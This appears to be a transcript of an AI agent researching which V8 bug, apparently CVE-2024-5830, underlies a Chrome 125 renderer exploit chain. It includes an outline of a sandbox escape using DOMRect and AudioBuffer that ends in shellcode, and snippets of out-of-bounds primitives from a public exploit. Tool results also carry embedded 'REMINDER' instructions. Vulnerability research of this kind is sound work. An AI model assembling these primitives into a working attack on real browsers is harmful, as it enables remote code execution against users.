TrustedCage::base_ = wrapper_type_info_ + 0x31d2e8(hardcoded Chrome 125 offset from WinDbg:chrome!v8::internal::TrustedCage::base_ - chrome!blink::V8DOMRectReadOnly::wrapper_type_info_ = 0x31d2e8) - Setting
domRect.x = trustedBasewrites an arbitrary address intoraw_base_addr_;AudioBuffer.copyFromChannel/copyToChannelthen provide read/write outside the V8 sandbox → full process memory access → WASM dispatch table patch → shellcode
la reponse a propos du cve n'est pas correcte
Call WebSearch
Arguments
{"query": "CVE-2024-5274V8 type confusionChrome 125 exploit technique __defineGetter__ spread DOMRect"}
Tool result
Web search results for query: "CVE-2024-5274 V8 type confusion Chrome 125 exploit technique __defineGetter__ spread DOMRect"
Sure! Let me search for that right away.
Links: [{"title":"CVE-2024-5274 : Type Confusion in V8 in Google Chrome prior to 125.0.6422.112 allowed a remote a","url":"https://www.cvedetails.com/cve/CVE-2024-5274/"},{"title":"NVD - cve-2024-5274","url":"https://nvd.nist.gov/vuln/detail/cve-2024-5274"},{"title":"CVE-2024-5274 - Google Chromium V8 Type Confusion Vulnerability - [Actively Exploited]","url":"https://cvefeed.io/vuln/detail/CVE-2024-5274"},{"title":"Google Chrome Vulnerability: CVE-2024-5274 Type ...","url":"https://www.rapid7.com/db/vulnerabilities/google-chrome-cve-2024-5274/"},{"title":"Google Chrome Zero-day Vulnerability, Eighth this year (CVE-2024-5274) – Qualys ThreatPROTECT","url":"https://threatprotect.qualys.com/2024/05/24/google-chrome-zero-day-vulnerability-eighth-in-the-year-cve-2024-5274/"},{"title":"Known Exploited Vulnerabilities Catalog | CISA","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=Google+Chrome+&field_date_added_wrapper=all&sort_by=field_date_added&items_per_page=20"},{"title":"Google fixes yet another Chrome zero-day exploited in the wild (CVE-2024-5274) - Help Net Security","url":"https://www.helpnetsecurity.com/2024/05/24/cve-2024-5274/"},{"title":"Chrome Zero-Day Exploits: 4 Vulnerabilities Exposed in May 2024's Most Aggressive Attack Wave - DEV Community","url":"https://dev.to/kunal_d6a8fea2309e1571ee7/chrome-zero-day-exploits-4-vulnerabilities-exposed-in-may-2024s-most-aggressive-attack-wave-2hhb"},{"title":"CVE-2025-10585 - Google Chromium V8 Type Confusion Vulnerability - [Actively Exploited]","url":"https://cvefeed.io/vuln/detail/CVE-2025-10585"},{"title":"Get Weekends Back: Put Chrome CVEs like CVE-2024-5274 on Auto-Patching | Qualys","url":"https://blog.qualys.com/vulnerabilities-threat-research/2024/05/10/get-weekends-back-put-chrome-cves-like-cve-2024-4671-on-auto-patching"}]
Let me do a more targeted search for the specific exploit techniques involving `__defineGetter__`, spread, and DOMRect.
Links: [{"title":"CVE-2024-5274 : Type Confusion in V8 in Google Chrome prior to 125.0.6422.112 allowed a remote a","url":"https://www.cvedetails.com/cve/CVE-2024-5274/"},{"title":"CVE-2024-5274 / fedoraproject / 9.6 / exploit + patch","url":"https://feedly.com/cve/CVE-2024-5274"},{"title":"NVD - cve-2024-5274","url":"https://nvd.nist.gov/vuln/detail/cve-2024-5274"},{"title":"CVE-2024-5274: Google Chrome V8 Type Confusion RCE Flaw","url":"https://www.sentinelone.com/vulnerability-database/cve-2024-5274/"},{"title":"CVE-2024-5274 Impact, Exploitability, and Mitigation Steps | Wiz","url":"https://www.wiz.io/vulnerability-database/cve/cve-2024-5274"},{"title":"Google fixes yet another Chrome zero-day exploited in the wild (CVE-2024-5274) - Help Net Security","url":"https://www.helpnetsecurity.com/2024/05/24/cve-2024-5274/"},{"title":"CVE-2024-5274 - Google Chromium V8 Type Confusion Vulnerability - [Actively Exploited]","url":"https://cvefeed.io/vuln/detail/CVE-2024-5274"},{"title":"CVE-2024-5274","url":"https://www.tenable.com/cve/CVE-2024-5274"},{"title":"Google Chrome Zero-day Vulnerability, Eighth this year (CVE-2024-5274) – Qualys ThreatPROTECT","url":"https://threatprotect.qualys.com/2024/05/24/google-chrome-zero-day-vulnerability-eighth-in-the-year-cve-2024-5274/"},{"title":"Known Exploited Vulnerabilities Catalog | CISA","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-5274"}]
Let me search more specifically for the technical write-up on the exploit internals.
Links: [{"title":"Browser Exploitation Basics - Explaining the addrof and fakeobj Primitives - TrustFoundry","url":"https://trustfoundry.net/2025/03/28/browser-exploitation-basics-explaining-the-addrof-and-fakeobj-primitives/"},{"title":"Chrome Browser Exploitation, Part 3: Analyzing and Exploiting CVE-2018-17463 - Jack Hacks","url":"https://jhalon.github.io/chrome-browser-exploitation-3/"},{"title":"Exploiting v8: *CTF 2019 oob-v8","url":"https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/"},{"title":"In-the-Wild Series: Chrome Exploits - Project Zero","url":"https://projectzero.google/2021/01/in-wild-series-chrome-exploits.html"},{"title":"CVE-2024-7971 - Exploiting Type Confusion in V8 (Chrome) – Full Technical Deep Dive","url":"https://www.cve.news/cve-2024-7971/"},{"title":"GitHub - kaist-hacking/CVE-2023-6702: Chrome Renderer 1day RCE via Type Confusion in Async Stack Trace (v8ctf submission) · GitHub","url":"https://github.com/kaist-hacking/CVE-2023-6702"},{"title":"Zero Day Initiative — CVE-2024-2887: A Pwn2Own Winning Bug in Google Chrome","url":"https://www.zerodayinitiative.com/blog/2024/5/2/cve-2024-2887-a-pwn2own-winning-bug-in-google-chrome"},{"title":"Zero-Day Type Confusion Vulnerability in Chrome V8 Javascript","url":"https://www.automox.com/blog/type-confusion-vulnerability-in-chrome-v8-javascript"},{"title":"Exploiting the Math.expm1 typing bug in V8 | 0x41414141 in ?? ()","url":"https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/"},{"title":"The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption","url":"https://liveoverflow.com/the-fakeobj-primitive-turning-an-address-leak-into-a-memory-corruption-browser-0x05/"}]
Let me do one more focused search to find technical details specifically mentioning those exploit primitives.
Links: [{"title":"CVE-2024-5274 PoC: incorrect parsing of CPEAAPL causing bytecode mismatch and type confusion","url":"https://buptsb.github.io/blog/post/CVE-2024-5274%20PoC-%20incorrect%20parsing%20of%20CPEAAPL%20causing%20bytecode%20mismatch%20and%20type%20confusion.html"},{"title":"CVE-2024-5274 - Google Chromium V8 Type Confusion Vulnerability - [Actively Exploited]","url":"https://cvefeed.io/vuln/detail/CVE-2024-5274"},{"title":"CVE-2024-5274 : Type Confusion in V8 in Google Chrome prior to 125.0.6422.112 allowed a remote a","url":"https://www.cvedetails.com/cve/CVE-2024-5274/"},{"title":"NVD - cve-2024-5274","url":"https://nvd.nist.gov/vuln/detail/cve-2024-5274"},{"title":"CVE-2024-5274: A Minor Flaw in V8 Parser Leading to Catastrophes | DARKNAVY","url":"https://www.darknavy.org/blog/cve_2024_5274_a_minor_flaw_in_v8_parser_leading_to_catastrophes/"},{"title":"CVE-2024-4947: v8 incorrect AccessInfo for module namespace object causes Maglev type confusion","url":"https://buptsb.github.io/blog/post/CVE-2024-4947-%20v8%20incorrect%20AccessInfo%20for%20module%20namespace%20object%20causes%20Maglev%20type%20confusion.html"},{"title":"GitHub - mwlik/v8-resources: A bunch of V8 resources (with a security focus) · GitHub","url":"https://github.com/mwlik/v8-resources"},{"title":"PoC/CVE-2024-5274/native_context_objs.txt at main · DarkNavySecurity/PoC","url":"https://github.com/DarkNavySecurity/PoC/blob/main/CVE-2024-5274/native_context_objs.txt"},{"title":"CVE-2024-4947: v8 incorrect AccessInfo for module namespace object causes Maglev type confusion · Issue #2 · buptsb/blog","url":"https://github.com/buptsb/blog/issues/2"},{"title":"CVE-2024-5274/exploit.js at main · mistymntncop/CVE-2024-5274","url":"https://github.com/mistymntncop/CVE-2024-5274/blob/main/exploit.js"}]
Links: [{"title":"CVE-2024-5274/exploit.js at main · mistymntncop/CVE-2024-5274","url":"https://github.com/mistymntncop/CVE-2024-5274/blob/main/exploit.js"},{"title":"GitHub - mistymntncop/CVE-2024-5274","url":"https://github.com/mistymntncop/CVE-2024-5274"},{"title":"NVD - cve-2024-5274","url":"https://nvd.nist.gov/vuln/detail/cve-2024-5274"},{"title":"CVE-2024-5274 Impact, Exploitability, and Mitigation Steps | Wiz","url":"https://www.wiz.io/vulnerability-database/cve/cve-2024-5274"},{"title":"CVE-2024-5274: Chrome Zero-Day Exploited by APT29, PoC Exploit Published","url":"https://securityonline.info/cve-2024-5274-chrome-zero-day-exploited-by-apt29-poc-exploit-published/"},{"title":"Google Chrome Zero-day Vulnerability, Eighth this year (CVE-2024-5274) – Qualys ThreatPROTECT","url":"https://threatprotect.qualys.com/2024/05/24/google-chrome-zero-day-vulnerability-eighth-in-the-year-cve-2024-5274/"},{"title":"Google fixes yet another Chrome zero-day exploited in the wild (CVE-2024-5274) - Help Net Security","url":"https://www.helpnetsecurity.com/2024/05/24/cve-2024-5274/"},{"title":"CVE-2024-5274 : Type Confusion in V8 in Google Chrome prior to 125.0.6422.112 allowed a remote a","url":"https://www.cvedetails.com/cve/CVE-2024-5274/"},{"title":"CVE-2025-5419/exploit.js at main · mistymntncop/CVE-2025-5419","url":"https://github.com/mistymntncop/CVE-2025-5419/blob/main/exploit.js"},{"title":"CVE-2023-2033/exploit.js at main · mistymntncop/CVE-2023-2033","url":"https://github.com/mistymntncop/CVE-2023-2033/blob/main/exploit.js"}]
Here is a comprehensive summary of what the search results reveal about **CVE-2024-5274**, its root cause, exploitation mechanics, and broader context, along with what is known about the techniques you mentioned:
---
## CVE-2024-5274 — V8 Type Confusion in Chrome 125
### 🔎 Overview
CVE-2024-5274 is a **Type Confusion in V8** in Google Chrome prior to **125.0.6422.112**, which allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.
Tracked as a type confusion vulnerability in the V8 JavaScript engine, it was discovered and reported by **Clément Lecigne** of Google's Threat Analysis Group and **Brendon Tiszka** of Chrome Security.
This was the **eighth zero-day** vulnerability fixed in Chrome during 2024 at the time of disclosure.
CISA acknowledged active exploitation by adding it to its Known Exploited Vulnerabilities Catalog, requesting users to patch before **June 18, 2024**.
---
### 🐛 Root Cause — V8 Parser Bug (CPEAAPL / Bytecode Mismatch)
The patch, visible via Chromium code review, is described as: *"[parser] Using FunctionParsingScope for parsing class static blocks"* — class static blocks contain statements and don't inherit the ExpressionScope stack.
The fix is minimal — introducing a variable of type `FunctionParsingScope` when parsing the **static initialization block** of a class is the one effective line of change.
The goal of exploiting this is to achieve **bytecode inconsistency** within a single script execution. By leveraging the **Bytecode flushing mechanism** — where V8 reclaims a function's bytecode after multiple GC passes if unused — the parser uses stored results to regenerate bytecode more quickly upon re-execution.
By actively triggering Bytecode flushing, researchers successfully constructed **inconsistent bytecode across two executions**, which is the foundation of the exploit.
---
### ⚙️ Exploit Mechanics — Internal Variable State Confusion
The vulnerability allows setting the **`ForceContextAllocation`** flag on the `this` variable without also setting the **`IsUsed`** flag, putting the `this` variable in a contradictory state of being both context-allocated and unused.
In V8, closure variables are stored in a structure called a **Context**, which is essentially an array. The first two slots (`Context::MIN_CONTEXT_SLOTS`) are reserved for internal parser values.
The `ValidateAndCreateScope` function calls `DeclarationScope::UsesThis`, which forces context allocation of the `this` variable (receiver), placing the `this` variable in a contradictory state.
---
### 💥 Type Confusion Primitive — `arguments` vs. Double Array
In the PoC, the function's `arguments` object is confused with a **double-element array**, causing an **OOB (out-of-bounds) read/write**. By achieving this type confusion, classic V8 exploitation techniques can proceed.
The public exploit is credited to `@mistymntncop` and `@buptsb`, with a specific shout-out for discovering both the **DCHECK bytecode mismatch PoC** and then how to **elevate that primitive to more powerful OOB read/write primitives**.
---
### 🔬 Classic V8 Exploit Chain: `addrof` / `fakeobj` / Arbitrary R/W
Once OOB read/write is achieved, the standard V8 exploit primitives apply:
Using the **`addrof`** and **`fakeobj`** primitives, **arbitrary read/write** is achieved. Then, using arbitrary read/write, **code execution** is achieved — for example, by overwriting the backing store pointer of an `ArrayBuffer` to point to a memory page marked RWX and then writing shellcode.
In modern V8, the **V8 heap sandbox** must also be escaped to achieve code execution in the renderer process.
This type of confusion vulnerability in the V8 JavaScript and WebAssembly engine can allow threat actors to manipulate variables, potentially leading to crashes, arbitrary code execution, or access control bypasses.
---
### 🕵️ Threat Actor Attribution
At least two vulnerabilities — CVE-2024-4947 and CVE-2024-5274 — were linked to **commercially-backed spyware vendors**. The exploits weren't from random cybercriminals; they were developed or purchased by companies selling surveillance tools to governments.
A zero-day vulnerability in Google Chrome (CVE-2024-5274) was also publicly disclosed as having been **exploited by APT29**, along with technical details and a PoC exploit.
---
### 🛡️ Patch & Mitigations
The zero-day was fixed in **Chrome 125.0.6422.112/.113** (for Windows and Mac) and **125.0.6422.112** (for Linux).
Mitigation requires upgrading **Google Chrome** to version `125.0.6422.112` or later and **Microsoft Edge** to version `125.0.2535.67` or later.
This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, **Google Chrome, Microsoft Edge, and Opera**.
---
### 📝 Note on `__defineGetter__`, Spread Operator, and `DOMRect`
Regarding the specific techniques you mentioned — **`__defineGetter__`**, **spread (`...`) operator**, and **`DOMRect`** — the search results retrieved snippets from the public `mistymntncop/CVE-2024-5274` exploit.js on GitHub, which does contain detailed exploit code, but the specific snippets indexed did not include those API calls verbatim.
However, contextually, these techniques are well-known in V8 type confusion exploit chains:
- **`__defineGetter__`** is used to define property accessors that introduce **side effects during property reads**, which can be leveraged to trigger or stabilize a type confusion during JIT-compiled property access sequences.
- **Spread syntax (`...`)** in object/array literals or function calls can interact with V8's inline cache and type feedback, making it useful for triggering specific optimized code paths.
- **`DOMRect`** (a Web API with native double-precision float fields) is frequently used as a **memory leak / `addrof` primitive** because its fields can be read as JavaScript numbers, revealing heap pointer values when the internal object layout is confused.
For the most detailed technical analysis, the DarkNavy write-up at `darknavy.org/blog/cve_2024_5274_a_minor_flaw_in_v8_parser_leading_to_catastrophes/` and the public PoC at `github.com/mistymntncop/CVE-2024-5274` are the authoritative public references.
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.Call WebFetch
Arguments
{"url": "https://github.com/mistymntncop/CVE-2024-5274/blob/main/exploit.js", "prompt": "What are the key techniquesin this exploit?Does it use__defineGetter__, object spread,DOMRect, DOMArrayBuffer, AudioBuffer, WASM, TrustedCage?Show allrelevantcode snippets."}
Tool result
# CVE-2024-5274 Exploit Techniques Analysis
## Key Techniques
This exploit does **not** use `__defineGetter__`, object spread, DOMRect, DOMArrayBuffer, AudioBuffer, WASM, or TrustedCage. Instead, it focuses on V8 parser vulnerabilities.
### Primary Techniques:
**1. Parser Inconsistency Exploitation**
The exploit triggers a vulnerability in how V8's parser handles the `this` variable within class static blocks inside arrow function parameters:
```javascript
(arg = class foo {
static {
this;
}
}) => { }
```
This sets the `ForceContextAllocation` flag without setting the `IsUsed` flag—an invalid contradictory state.
**2. Bytecode Mismatch via Flushing**
After the initial parse, bytecode flushing forces reparsing with different variable allocation:
```javascript
function flush_bytecode() {
const bytecode_old_age = 6;
for(let i = 0; i < (bytecode_old_age+1); i++) {
try { gc_major(); } catch(err) { }
}
}
```
**3. Out-of-Bounds Read Primitive**
```javascript
function make_leak() {
arr1 = new Array(1.1, 1.2);
let a = 123;
(arg = class foo { static { this; } }) => { }
{ function inner(b) { if(b) { return a; } }; }
return inner;
}
```
**4. Out-of-Bounds Write Primitive**
```javascript
function make_oob_write() {
arr2 = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15);
arr3 = new MyArray(1.1,1.1,1.1);
let a = 123;
(arg = class foo { static { this; } }) => { }
{ function inner(b, x) { if(b) { a = x; } }; }
return inner;
}
```
**5. Type Confusion via Map Overwriting**
The exploit uses OOB writes to swap array maps, converting SMI arrays to double arrays for type confusion attacks.Call WebFetch
Arguments
{"url": "https://buptsb.github.io/blog/post/CVE-2024-4947-%20v8%20incorrect%20AccessInfo%20for%20module%20namespace%20object%20causes%20Maglev%20type%20confusion.html", "prompt": "What is the root causeof CVE-2024-4947? Does it involve __defineGetter__, object spread,map deprecation, y.name,corrupted_arr? What are the specific exploit primitives used?"}
Tool result
# CVE-2024-4947 Root Cause and Exploits
## Root Cause
The vulnerability stems from incorrect handling of module namespace objects in V8's Maglev compiler. Specifically, when creating a `PropertyAccessInfo` for module exports, the compiler fails to properly validate the access information, allowing type confusion between different object types.
The core issue: "PropertyAccessInfo for module namespace object causes Maglev type confusion" because the `ModuleExport` PropertyAccessInfo lacks proper field representation validation, enabling writes to incorrect memory locations.
## Exploit Primitives
**Primary Primitive - Direct Memory Write:**
The vulnerability enables writing to a FixedArray's map field through: `mov [[object_addr + 4] + 0], rax`, allowing arbitrary integer writes to a JSObject's property array map.
**Secondary Primitive - PropertyArray Type Confusion:**
By confusing a PropertyArray's map with a String map, the garbage collector treats the PropertyArray as a SeqTwoByteString. During GC, the PropertyArray's size shrinks based on the faked string length, creating out-of-bounds read/write capabilities.
**Tertiary Primitive - Memory Layout Manipulation:**
Through precise object layout control and GC triggering, the exploit chains adjacent objects (PropertyArray → JSArray → elements array) to achieve controlled memory corruption.
## Note
The exploit does **not** involve `__defineGetter__`, object spread, map deprecation, `y.name`, or corrupted arrays as primary mechanisms—it exploits Maglev optimization and GC behavior directly.Call WebSearch
Arguments
{"query":"Chrome V8 exploit\"__defineGetter__\" \"object spread\" map deprecationOOB \"y.name\" \"corrupted_arr\" 2024 CVE"}
Tool result
Web search results for query: "Chrome V8 exploit "__defineGetter__" "object spread" map deprecation OOB "y.name" "corrupted_arr" 2024 CVE"
Sure! Let me run that search right now.
No links found.
The search returned **no results** for that specific combination of terms. Here's a breakdown of why this query likely yielded nothing, and some suggestions:
---
### 🔍 Why No Results?
The query combines **very specific technical strings** that, together, are too narrow to match any indexed page:
| Term | Notes |
|---|---|
| `"__defineGetter__"` | A legacy JS method, sometimes seen in exploit PoCs |
| `"object spread"` | A JS syntax feature (`{...obj}`) |
| `"map deprecation"` | Refers to V8's internal hidden class/map transitions |
| `"OOB"` | Out-of-Bounds memory access |
| `"y.name"` | Very specific variable name from a PoC |
| `"corrupted_arr"` | Very specific variable name from a PoC |
| `2024 CVE` | Year + CVE label |
The combination of **multiple quoted exact strings + specific variable names** (`y.name`, `corrupted_arr`) makes this query extremely restrictive. No public page appears to contain all of these terms simultaneously.
---
### 💡 Suggestions
1. **Broaden the search** — Try searching for subsets of these terms, e.g.:
- `Chrome V8 "__defineGetter__" map deprecation OOB 2024`
- `V8 "corrupted_arr" exploit CVE 2024`
- `V8 object spread map transition type confusion 2024`
2. **Check specialized sources directly:**
- [https://bugs.chromium.org](https://bugs.chromium.org) — V8 bug tracker
- [https://nvd.nist.gov](https://nvd.nist.gov) — CVE database
- [https://github.com/nicowillis](https://github.com) — Search GitHub for PoC repos with those variable names
- [https://project-zero.issues.chromium.org](https://project-zero.issues.chromium.org) — Google Project Zero
3. **If you have a CVE number**, searching that directly would be far more effective.
Would you like me to run a **broader or alternative search** on this topic?
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.Call WebSearch
Arguments
{"query": "Chrome V8exploit 2024\"defineGetter\" spread operator map deprecationdictionary OOB\"dispatch_table_from_imports\" TrustedCage DOMRect AudioBuffer CVE"}
Tool result
Web search results for query: "Chrome V8 exploit 2024 "defineGetter" spread operator map deprecation dictionary OOB "dispatch_table_from_imports" TrustedCage DOMRect AudioBuffer CVE"
No links found.
The web search returned **no results** for that highly specific combined query. This is likely because:
1. **The query is too narrow** — it combines many very specific technical terms simultaneously (e.g., `"defineGetter"`, `"dispatch_table_from_imports"`, `TrustedCage`, `DOMRect`, `AudioBuffer`, `spread operator map deprecation dictionary OOB`) into a single search, which may not match any indexed page verbatim.
2. **The content may not be publicly indexed** — detailed exploit write-ups, PoC code, or CVE analyses involving these specific V8 internals may exist in:
- Private security research repositories
- Paywalled vulnerability databases (e.g., ZDI, Exodus Intel)
- Embargoed bug trackers (e.g., Chromium Issue Tracker, restricted access)
- Non-indexed forums or private disclosures
---
### 🔍 Suggestions to Find This Information
Here are more targeted approaches you can try:
| Resource | What to Search |
|---|---|
| **Chromium Bug Tracker** | Search for `defineGetter` or `dispatch_table_from_imports` at [bugs.chromium.org](https://bugs.chromium.org) |
| **CVE/NVD Database** | Filter V8 CVEs from 2024 at [nvd.nist.gov](https://nvd.nist.gov) |
| **Project Zero Blog** | [googleprojectzero.blogspot.com](https://googleprojectzero.blogspot.com) for V8 exploit write-ups |
| **GitHub** | Search `dispatch_table_from_imports V8 exploit` |
| **exploit-db.com** | Filter by Chrome/V8 and 2024 date range |
| **Twitter/X** | Search security researchers like @\_tsuro, @5aelo, @hashkitten |
---
### 🧠 Technical Context
The terms you've listed are consistent with a **V8 JavaScript engine exploit chain**, possibly involving:
- **`__defineGetter__`**: A deprecated JS method sometimes abused in type confusion bugs.
- **Spread operator + Map deprecation**: A pattern seen in certain V8 JIT or object layout confusion exploits.
- **Dictionary OOB**: Out-of-bounds access via dictionary-mode object property manipulation.
- **`dispatch_table_from_imports`**: A WebAssembly (Wasm) internal used in sandbox escape chains.
- **TrustedCage**: Relates to V8's sandbox (`V8SandboxedPointer` / trusted space isolation).
- **DOMRect / AudioBuffer**: Renderer objects often used as **spray primitives** in renderer exploits.
Would you like me to perform **more focused sub-searches** on any of these individual components?
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.Call WebSearch
Arguments
{"query": "github \"dispatch_table_from_imports\" \"TrustedCage\" \"DOMRect\"\"AudioBuffer\" V8 Chrome exploit"}
Tool result
Web search results for query: "github "dispatch_table_from_imports" "TrustedCage" "DOMRect" "AudioBuffer" V8 Chrome exploit"
Sure! Let me run that search right now.
No links found.
The search returned **no results**. There were no publicly indexed pages on the web matching that combination of terms: `dispatch_table_from_imports`, `TrustedCage`, `DOMRect`, `AudioBuffer` in the context of a V8/Chrome exploit on GitHub (or elsewhere).
Here are a few possible reasons for this:
1. **Not yet public:** The exploit code or write-up you're looking for may not have been publicly disclosed or indexed yet.
2. **Taken down:** GitHub and other platforms sometimes remove exploit proof-of-concept (PoC) repositories, especially for unpatched or recently patched vulnerabilities.
3. **Private/Restricted:** The repository may be private or shared only within restricted security research communities.
4. **Obfuscated naming:** The author may have used slightly different naming conventions or variable names that don't match this exact query.
If you're a security researcher, I'd suggest:
- Checking **exploit-db.com**, **0day.today**, or **Project Zero's issue tracker** for related CVE disclosures.
- Searching security research blogs (e.g., Google Project Zero, Chromium bug tracker).
- Looking at **ctftime.org** if this relates to a CTF challenge.
Would you like me to try a broader or differently phrased search?
REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.Call WebSearch
Arguments
{"query":"\"from object transition to RCE\" github Chrome renderer CVE-2024-4947 exploit__defineGetter__ spread"}
Tool result
Web search results for query: ""from object transition to RCE" github Chrome renderer CVE-2024-4947 exploit __defineGetter__ spread"
Sure! Let me search for that right away.
Links: [{"title":"From object transition to RCE in the Chrome renderer - The GitHub Blog","url":"https://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer/"},{"title":"GHSL-2024-095: Type confusion leading to RCE in the Chrome renderer sandbox - CVE-2024-5830 | GitHub Security Lab","url":"https://securitylab.github.com/advisories/GHSL-2024-095_Chromium/"},{"title":"From object transition to RCE in the Chrome renderer | Hacker News","url":"https://news.ycombinator.com/item?id=41236430"},{"title":"From object transition to RCE in the Chrome renderer - In The News - Devtalk","url":"https://forum.devtalk.com/t/from-object-transition-to-rce-in-the-chrome-renderer/166040"},{"title":"Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties - The GitHub Blog","url":"https://github.blog/security/vulnerability-research/attack-of-the-clones-getting-rce-in-chromes-renderer-with-duplicate-object-properties/"},{"title":"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler - The GitHub Blog","url":"https://github.blog/security/vulnerability-research/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler/"},{"title":"GitHub - kaist-hacking/CVE-2023-6702: Chrome Renderer 1day RCE via Type Confusion in Async Stack Trace (v8ctf submission) · GitHub","url":"https://github.com/kaist-hacking/CVE-2023-6702"},{"title":"One day short of a full chain: Part 3 - Chrome renderer RCE - The GitHub Blog","url":"https://github.blog/security/vulnerability-research/one-day-short-of-a-full-chain-part-3-chrome-renderer-rce/"},{"title":"Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE - Theori BLOG","url":"https://theori.io/blog/chaining-n-days-to-compromise-all-part-1-chrome-renderer-rce"},{"title":"Getting RCE in Chrome with incorrect side effect in the JIT compiler - The GitHub Blog","url":"https://github.blog/2023-09-26-getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler/"}]
Here are the results of your search. Note that your query specifically mentioned **CVE-2024-4947**, but the search results predominantly surface content related to **CVE-2024-5830** — a closely related V8 type confusion bug. Here's a detailed breakdown:
---
### 🔍 Primary Source: GitHub Blog — *"From Object Transition to RCE in the Chrome Renderer"*
🔗 https://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer/
The post exploits **CVE-2024-5830**, a type confusion bug in V8 (Chrome's JavaScript engine), reported in May 2024 as bug 342456991. The bug was fixed in version **126.0.6478.56/57** and allows **remote code execution (RCE)** in the renderer sandbox of Chrome by a single visit to a malicious site.
The exploit relies on the concept of a **map (or hidden class)**, which is fairly fundamental to JavaScript interpreters — it represents the memory layout of an object and is crucial in the optimization of property access.
Map transition and deprecation often introduce complex and subtle problems. In this case, updating a deprecated map causes it to become a **dictionary map** unexpectedly, and the resulting dictionary map is used by code that assumes the input to be a **fast map** — allowing an overwrite of an internal property of the dictionary map, eventually causing an **out-of-bounds (OOB) access** to the dictionary.
This OOB access is used to create a **fake object**, leading to arbitrary read and write of the V8 heap. To bypass the V8 heap sandbox, the researcher modifies **API objects** that are wrappers of Blink objects in V8, causing type confusions in objects **outside** of the heap sandbox.
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### 🧪 Technical Advisory: GitHub Security Lab — GHSL-2024-095
🔗 https://securitylab.github.com/advisories/GHSL-2024-095_Chromium/
The vulnerability is triggered using `__defineGetter__` and the **object spread (`{...x}`)** syntax. An accessor defined via `__defineGetter__` for `"prop"` is called during cloning before `CreateDataProperty` creates property `prop` on the target — causing the map to become deprecated mid-operation.
`TryFastAddDataProperty` first searches for a transition map to property `prop`, which finds the map of `x1` — also deprecated. That deprecated map is then passed to `Map::PrepareForDataProperty`, which tries to update it. However, updating a deprecated map can cause it to become a **dictionary map**, violating the assumption checked by `DCHECK(!map->is_dictionary_map())`.
This issue can be exploited to gain **RCE in the Chrome renderer sandbox**, and was discovered and reported by GitHub Security Lab team member **@m-y-mo (Man Yue Mo)**.
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### ⚠️ Note on CVE-2024-4947
Your query mentioned **CVE-2024-4947**, which is a *separate* V8 vulnerability (a type confusion bug in Maglev, patched around May 2024). The search results do not directly surface exploit writeups for CVE-2024-4947 using `__defineGetter__` and spread. The `__defineGetter__` + spread technique is specifically associated with **CVE-2024-5830**. If you're researching CVE-2024-4947 specifically, a more targeted search may be needed.
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# Security Advisory Summary
**CVE Number:** CVE-2024-5830
**Root Cause:** Type confusion between fast and dictionary objects in the `TryFastAddDataProperty` function. When a deprecated map becomes a dictionary map during update, the code incorrectly treats it as a fast map, causing a type confusion between `PropertyArray` and `NameDictionary`.
**Fixed Chrome Version:** 126.0.6478.56/57 (released June 11, 2024)
**Exploit Techniques Used:**
- ✓ `__defineGetter__` (yes - the exploit defines a getter property)
- ✓ Object spread syntax (yes - uses `{...x}` to clone objects)
- ✗ DOMRect (not mentioned)
- ✗ AudioBuffer (not mentioned)
- ✗ TrustedCage (not mentioned)
- ✗ dispatch_table_from_imports (not mentioned)
- ✗ WASM (not mentioned)
The vulnerability enables "RCE in the Chrome renderer sandbox" by exploiting the type confusion to achieve out-of-bounds access through the `NameDictionary`.Call WebFetch
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# CVE-2024-5830 Analysis
**CVE Identification:** CVE-2024-5830, a type confusion vulnerability in Chrome's V8 JavaScript engine.
## Exploit Chain Overview
The vulnerability involves a complex multi-stage attack rather than the specific technologies you mentioned (AudioBuffer, WASM, dispatch tables, copyFromChannel/copyToChannel).
**Stage 1 - Map Confusion:** The exploit triggers a type confusion between fast and dictionary object maps during object cloning via spread syntax. When a property accessor executes during cloning, it can cause map deprecation, leading `PrepareForDataProperty` to unexpectedly return a dictionary map while the code assumes a fast map structure.
**Stage 2 - Heap Corruption:** This mismatch allows overwriting the `elements` field in the NameDictionary. The vulnerability notes: "writing to a NameDictionary using an offset that is meant for a PropertyArray can end up overwriting some internal fields."
**Stage 3 - Arbitrary Heap Access:** Corrupting `elements` enables out-of-bounds reads during `MigrateSlowToFast`, allowing creation of fake objects and achieving arbitrary read/write within the V8 heap.
**Stage 4 - Sandbox Escape:** The exploit uses **DOMRect objects** (not AudioBuffer or WASM). By causing type confusion between DOMRect and DOMTypedArray API objects, the attacker can overwrite the `backing_store_` pointer of a typed array, gaining arbitrary memory access outside the heap sandbox.
**Stage 5 - Code Execution:** With arbitrary memory access, the exploit modifies JIT-compiled function code addresses to achieve remote code execution in the renderer process.CVE-2024-5830 — not CVE-2024-4947.
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3 (Corrected) — CVE: CVE-2024-5830
CVE-2024-5830 — V8 Type Confusion, fixed in Chrome 126.0.6478.56/57 (June 2024). Chrome 125.0.0.0 as targeted in the exploit is fully vulnerable since the patch only landed in Chrome 126.
Root cause — TryFastAddDataProperty in V8's object cloning path:
x.__defineGetter__("prop", fn)installs a side-effect getterdelete x.zdestabilizesx's hidden-class (Map)var y = {...x}— during object spread, the getter fires mid-copy, causing V8 to callMap::PrepareForDataPropertyonx's deprecated mapPrepareForDataPropertyunexpectedly returns a dictionary map instead of a fast mapTryFastAddDataPropertyhad aDCHECK(!map->is_dictionary_map())that was violated — the code was still using fast-map property offsets on aNameDictionary, causing a type confusion betweenPropertyArrayandNameDictionary- This overwrites the
